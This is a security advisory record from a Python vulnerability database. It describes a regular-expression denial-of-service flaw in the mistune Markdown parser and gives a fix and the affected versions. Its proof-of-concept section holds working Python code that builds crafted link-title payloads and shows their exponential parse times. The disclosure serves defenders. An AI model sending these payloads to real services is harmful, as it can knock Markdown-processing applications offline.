{"id":"PYSEC-2026-2651","summary":"Mistune has a ReDoS in LINK_TITLE_RE that allows denial of service via crafted Markdown input","details":"### Summary\n\nA ReDoS (Regular Expression Denial of Service) vulnerability in `LINK_TITLE_RE` allows an attacker who can supply Markdown for parsing to cause denial of service. A crafted 58-byte Markdown document blocks the parser for approximately 6 seconds (measured on Apple M2, Python 3.14.3), with exponential growth per additional byte pair.\n\n### Details\n\nThe vulnerable regex is defined in [`src/mistune/helpers.py#L20-L25`](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/helpers.py#L20-L25):\n\n```python\nLINK_TITLE_RE = re.compile(\n    r\"[ \\t\\n]+(\"\n    r'\"(?:\\\\' + PUNCTUATION + r'|[^\"\\x00])*\"|'  # \"title\"\n    r\"'(?:\\\\\" + PUNCTUATION + r\"|[^'\\x00])*'\"   # 'title'\n    r\")\"\n)\n```\n\nThe double-quote branch compiles to `\"(?:\\\\[PUNCTUATION]|[^\"\\x00])*\"`. The two alternatives inside `(A|B)*` overlap: a backslash followed by a punctuation character (e.g. `\\!`) can be matched by **either** branch — as a 2-character escaped-punctuation sequence `\\\\!`, or as two individual `[^\"\\x00]` characters (`\\` then `!`). The same ambiguity exists in the single-quoted title branch.\n\nWhen the input contains repeated `\\!` pairs with no closing `\"`, the regex engine exhaustively backtracks through all 2^N combinations, resulting in **exponential O(2^N) time complexity**.\n\nThis is reachable through normal Markdown parsing via two code paths:\n1. **Inline links**: `[text](url \"PAYLOAD)` → [`parse_link()`](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/helpers.py#L178) → [`parse_link_title()`](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/helpers.py#L169)\n2. **Block link reference definitions**: `[label]: url \"PAYLOAD` → [`BlockParser.parse_ref_link()`](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/block_parser.py#L220) → [`parse_link_title()`](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/helpers.py#L169) at [block_parser.py#L259](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/block_parser.py#L259)\n\n### PoC\n\n```python\nimport mistune\nimport time\n\nmd = mistune.create_markdown()\n\n# Test with increasing N (number of \\! pairs)\nfor n in [15, 18, 20, 22, 25]:\n    payload = '[x](y \"' + '\\\\!' * n + ')'\n    start = time.time()\n    md(payload)\n    elapsed = time.time() - start\n    print(f\"N={n:2d}  len={len(payload):3d} bytes  time={elapsed:.3f}s\")\n```\n\nOutput (Apple M2, Python 3.14.3, mistune 3.2.0):\n\n```\nN=15  len= 38 bytes  time=0.007s\nN=18  len= 44 bytes  time=0.044s\nN=20  len= 48 bytes  time=0.178s\nN=22  len= 52 bytes  time=0.740s\nN=25  len= 58 bytes  time=5.922s\n```\n\nEach increment of N roughly doubles the execution time (consistent with O(2^N)).\n\nThe same attack works via block link reference definitions:\n\n```python\npayload = '[l]: u \"' + '\\\\!' * 25  # 58 bytes, ~6 seconds\nmd(payload)\n```\n\n### Impact\n\nThis is a denial of service vulnerability. Any application or service that parses user-supplied Markdown using mistune can be made unresponsive by an attacker submitting a small crafted input (under 100 bytes).\n\nAffected use cases include:\n- Web applications with Markdown-enabled input fields (comments, posts, descriptions)\n- Documentation systems that accept user contributions\n- API endpoints that process Markdown\n- Jupyter tooling such as nbconvert that relies on mistune for rendering\n\n### Suggested Fix\n\nExclude the backslash character from the catch-all character class to eliminate the alternation overlap:\n\n```python\n# Before (vulnerable):\nr'\"(?:\\\\' + PUNCTUATION + r'|[^\"\\x00])*\"'\nr\"'(?:\\\\\" + PUNCTUATION + r\"|[^'\\x00])*'\"\n\n# After (fixed):\nr'\"(?:\\\\' + PUNCTUATION + r'|[^\"\\\\\\x00])*\"'\nr\"'(?:\\\\\" + PUNCTUATION + r\"|[^'\\\\\\x00])*'\"\n```\n\nThis ensures a backslash can only be consumed by the escaped-punctuation branch, eliminating the ambiguity in both the double-quote and single-quote branches. Verified on mistune 3.2.0 (Apple M2, Python 3.14.3):\n- Reduces N=25 from 4.2 seconds to 0.000006 seconds (700,000x improvement)\n- Handles N=50 in 0.000008 seconds\n- Passes all existing functional tests (quoted titles, escaped quotes, escaped punctuation)","aliases":["CVE-2026-33079","GHSA-8mp2-v27r-99xp"],"modified":"2026-07-13T16:31:51.187577679Z","published":"2026-07-13T15:15:38.825074Z","references":[{"type":"WEB","url":"https://github.com/lepture/mistune/security/advisories/GHSA-8mp2-v27r-99xp"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33079"},{"type":"PACKAGE","url":"https://github.com/lepture/mistune"},{"type":"WEB","url":"https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/helpers.py#L20-L25"},{"type":"PACKAGE","url":"https://pypi.org/project/mistune"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-8mp2-v27r-99xp"}],"affected":[{"package":{"name":"mistune","ecosystem":"PyPI","purl":"pkg:pypi/mistune"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0a1"},{"fixed":"3.2.1"}]}],"versions":["3.0.0","3.0.0a1","3.0.0a2","3.0.0a3","3.0.0rc1","3.0.0rc2","3.0.0rc3","3.0.0rc4","3.0.0rc5","3.0.1","3.0.2","3.1.0","3.1.1","3.1.2","3.1.3","3.1.4","3.2.0"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/mistune/PYSEC-2026-2651.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}]}